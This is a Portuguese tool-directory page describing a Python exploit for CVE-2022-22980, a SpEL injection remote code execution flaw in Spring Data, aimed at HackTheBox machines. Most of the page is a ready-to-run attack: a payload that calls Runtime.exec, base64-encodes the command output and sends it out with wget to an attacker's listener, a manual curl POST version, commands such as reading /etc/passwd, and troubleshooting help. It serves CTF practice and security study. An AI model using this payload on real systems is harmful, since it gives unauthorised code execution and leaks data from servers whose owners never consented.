Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22980 — Exploração do CVE-2022-22980 | Kitploit
Ferramentas/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Geração de PayloadsExploraçãoExploração de Aplicações WebCTFComando e ControleAprendizado e Educação
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Exploração do CVE-2022-22980

Ver Repositório
111há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

SpEL RCE Exploit - CVE-2022-22980

Exploit para execução remota de código (RCE) no Spring Data via injeção SpEL (Spring Expression Language).

Descrições

Vulnerabilidade

A caixa expõe um endpoint /search que aceita um parâmetro tracking_id vulnerável à injeção SpEL. Essa injeção permite a execução de expressões Java maliciosas diretamente no servidor.

Princípio de exploração

  1. Injetar uma expressão SpEL que execute um comando shell via Runtime.getRuntime().exec()
  2. Codificar a saída do comando em base64
  3. Exfiltrar o resultado por meio de uma requisição HTTP GET para um listener controlado
  4. Decodificar e exibir o resultado

Uso

Pré-requisitos

  • Python 3.x com os módulos padrão (http.server, subprocess, threading, base64)
  • curl na sua máquina local
  • wget na máquina alvo (para exfiltração)
  • Uma porta 80 disponível (ou modificar LPORT no script)
  • Acesso de rede ao alvo

Configuração

Modifique os parâmetros no script de acordo com seu ambiente:

TARGET = "http://<IP_ALVO>:8080/search"   # URL do alvo
LHOST = "<SEU_IP>"                        # IP local (tun0 para HTB)
LPORT = 80                                # Porta de escuta

Execução

# Comando simples
python3 spel_shell.py "whoami"

# Comando com pipe
python3 spel_shell.py "cat /etc/passwd"

# Enumeração do sistema
python3 spel_shell.py "uname -a"

# Verificar acesso à rede
python3 spel_shell.py "curl -s http://httpbin.org/get"

Exemplo de saída

[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

Payload manual (referência)

Se quiser testar a payload sem o script:

# Terminal 1: Iniciar o listener
python3 -m http.server 80

# Terminal 2: Enviar a payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<SEU_IP>:80/{}"})' \
  http://<IP_ALVO>:8080/search

Solução de problemas

Erro: "Address already in use"

A porta 80 está ocupada. Soluções:

# Verificar qual processo está usando a porta
sudo netstat -tlnp | grep :80

# Parar o Apache se estiver ativo
sudo systemctl stop apache2

# Ou usar outra porta
# Modifique LPORT no script e teste

Sem resposta ("No response received")

  1. Verifique a conectividade de rede: Certifique-se de que o alvo consegue alcançar seu LHOST:LPORT
  2. Teste com um comando simples: python3 spel_shell.py "echo test"
  3. Verifique as permissões de porta: A porta 80 requer sudo no Linux
  4. Verifique o IP LHOST: Use ifconfig (tun0 para HTB) e não 127.0.0.1

Erro de decodificação base64

Se você vir "Raw data received" em vez de "Command output", o comando pode não ter produzido uma saída válida. Teste um comando que sempre produza saída.

Arquitetura do script

1. start_server() - Inicia um servidor HTTP na porta 80
                   ↓
2. Envia a payload SpEL via curl para o alvo
                   ↓
3. O alvo executa o comando e codifica o resultado em base64
                   ↓
4. wget envia o resultado para o listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. O Handler recebe a data e a armazena
                   ↓
6. O script decodifica e exibe o resultado

Aviso

Este script é fornecido para fins educacionais em caixas HackTheBox. Use-o apenas em ambientes que você tenha permissão para testar.


Autor: Eliasdekiniweek Data: Fevereiro 2026
Linguagem: Python 3

Baixar ferramenta